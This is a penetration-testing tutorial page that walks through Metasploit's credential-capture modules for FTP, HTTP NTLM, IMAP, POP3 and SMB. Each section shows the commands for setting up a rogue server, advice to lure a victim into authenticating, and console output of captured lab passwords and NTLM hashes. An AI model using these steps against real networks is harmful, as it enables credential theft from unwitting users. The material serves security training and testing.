Server Capture Auxiliary Modules a11y.text Server Capture Auxiliary Modules ftp a11y.text ftp The ftp capture module acts as and FTP server in order to capture user credentials. msf > use auxiliary/server/capture/ftp

msf auxiliary(ftp) > show options

Module options (auxiliary/server/capture/ftp):

Name	Current Setting	Required	Description
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	21	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

Name	Description
Capture	The default settings are suitable for our needs so we just run the module and entice a user to log in to our server. When we have captured the information we need, we kill the job the server is running under. msf auxiliary(ftp) > run

[*] Auxiliary module execution completed

[*] Server started.

msf auxiliary(ftp) >

[*] FTP LOGIN 192.168.1.195:1475 bobsmith / s3cr3t

[*] FTP LOGIN 192.168.1.195:1475 bsmith / s3cr3t

[*] FTP LOGIN 192.168.1.195:1475 bob / s3cr3tp4s

msf auxiliary(ftp) > jobs -l

Jobs

====

Id	Name
1	Auxiliary: server/capture/ftp

msf auxiliary(ftp) > kill 1

Stopping job: 1...

[*] Server stopped.

msf auxiliary(ftp) > http_ntlm a11y.text http_ntlm The http_ntlm capture module attempts to quietly catch NTLM/LM Challenge hashes over HTTP. msf > use auxiliary/server/capture/http_ntlm

msf auxiliary(http_ntlm) > show options

Module options (auxiliary/server/capture/http_ntlm):

Name	Current Setting	Required	Description
CAINPWFILE		no	The local filename to store the hashes in Cain&Abel format

CHALLENGE 1122334455667788 yes The 8 byte challenge

JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Auxiliary action:

Name Description

---- -----------

WebServer This module has a few options available for fine-tuning, including the ability to save any captured hashes in Cain and Abel format. For our setup, we set the LOGFILE value to saves the hashes to a text file, set our SRVPORT value to listen on port 80 and configure the URIPATH to / for added realism. msf auxiliary(http_ntlm) > set LOGFILE captured_hashes.txt

LOGFILE => captured_hashes.txt

msf auxiliary(http_ntlm) > set SRVPORT 80

SRVPORT => 80

msf auxiliary(http_ntlm) > set URIPATH /

URIPATH => /

msf auxiliary(http_ntlm) > run

[*] Auxiliary module execution completed

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.1.101:80/

[*] Server started.

msf auxiliary(http_ntlm) >

[*] Request '/' from 192.168.1.195:1964

[*] Request '/' from 192.168.1.195:1964

[*] Request '/' from 192.168.1.195:1964

[*] 192.168.1.195: V-MAC-XP\Administrator

397ff8a937165f55fdaaa0bc7130b1a22f85252cc731bb25:af44a1131410665e6dd99eea8f16deb3e81

ed4ecc4cb7d2b on V-MAC-XP

msf auxiliary(http_ntlm) > jobs -l

Jobs

====

  Id Name

  -- ----

  0   Auxiliary: server/capture/http_ntlm

msf auxiliary(http_ntlm) > kill 0

Stopping job: 0...

[*] Server stopped.

msf auxiliary(http_ntlm) > As shown above, as soon as our victim browses to our server using

Internet Explorer, the Administrator hash is collected without any user interaction. imap a11y.text imap The imap capture module acts as an IMAP server in order to collect user mail credentials. msf > use auxiliary/server/capture/imap

msf auxiliary(imap) > show options

Module options (auxiliary/server/capture/imap):

Name	Current Setting	Required	Description
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	143	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

Name	Description
Capture	We donâ€™t need to do any extra configuration for this module so we let it run and then convince a user to connect to our server and collect his credentials. msf auxiliary(imap) > run

[*] Auxiliary module execution completed

[*] Server started.

msf auxiliary(imap) >

[*] IMAP LOGIN 192.168.1.195:2067 "victim" / "s3cr3t"

msf auxiliary(imap) > jobs -l

Jobs

====

  Id Name

  -- ----

  0   Auxiliary: server/capture/imap

msf auxiliary(imap) > kill 0

Stopping job: 0...

[*] Server stopped.

msf auxiliary(imap) > pop3 a11y.text pop3 The pop3 capture module poses as a POP3 mail server in order to capture user mail credentials. msf > use auxiliary/server/capture/pop3

msf auxiliary(pop3) > show options

Module options (auxiliary/server/capture/pop3):

   Name   Current Setting Required Description

   ----   --------------- -------- -----------

   SRVHOST 0.0.0.0   yes   The local host to listen on. This must be an address on the local machine or 0.0.0.0

   SRVPORT 110   yes   The local port to listen on.

   SSL   false   no   Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

Name Description

---- -----------

Capture We will leave the settings at their defaults, run the module and then convince the victim to authenticate to our server. msf auxiliary(pop3) > run

[*] Auxiliary module execution completed

[*] Server started.

msf auxiliary(pop3) >

[*] POP3 LOGIN 192.168.1.195:2084 victim / s3cr3t

msf auxiliary(pop3) > jobs -l

Jobs

====

Id Name

-- ----

1 Auxiliary: server/capture/pop3

msf auxiliary(pop3) > kill 1

Stopping job: 1...

[*] Server stopped.

msf auxiliary(pop3) > smb a11y.text smb The smb capture module acts as a SMB share to capture user password hashes so they can be later exploited. msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

Name	Current Setting	Required	Description
CAINPWFILE		no	The local filename to store the hashes in Cain&Abel format
CHALLENGE	1122334455667788	yes	The 8 byte server challenge
JOHNPWFILE		no	The prefix to the local filename to store the hashes in John format
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	445	yes	The local port to listen on.

Auxiliary action:

Name	Description
Sniffer	This module has a number of options available. We will only set the JOHNPWFILE option to save the captures hashes in John the Ripper format, run the module, and convince a user to connect to our share. msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhashes.txt

```
JOHNPWFILE => /tmp/smbhashes.txt

msf auxiliary(smb) > run

[*] Auxiliary module execution completed


[*] Server started.

msf auxiliary(smb) >

[*] Mon Mar 28 10:21:56 -0600 2011

NTLMv1 Response Captured from 192.168.1.195:2111

V-MAC-XP\Administrator OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1

LMHASH:397ff8a937165f55fdaaa0bc7130b1a22f85252cc731bb25

NTHASH:af44a1131410665e6dd99eea8f16deb3e81ed4ecc4cb7d2b



msf auxiliary(smb) > jobs -l


Jobs

====


  Id  Name

  --  ----

  2   Auxiliary: server/capture/smb


msf auxiliary(smb) > kill 2

Stopping job: 2...


[*] Server stopped.
```

msf auxiliary(smb) > Next Recent Changes to Metasploit Unleashed Prev Scanner VNC Auxiliary Modules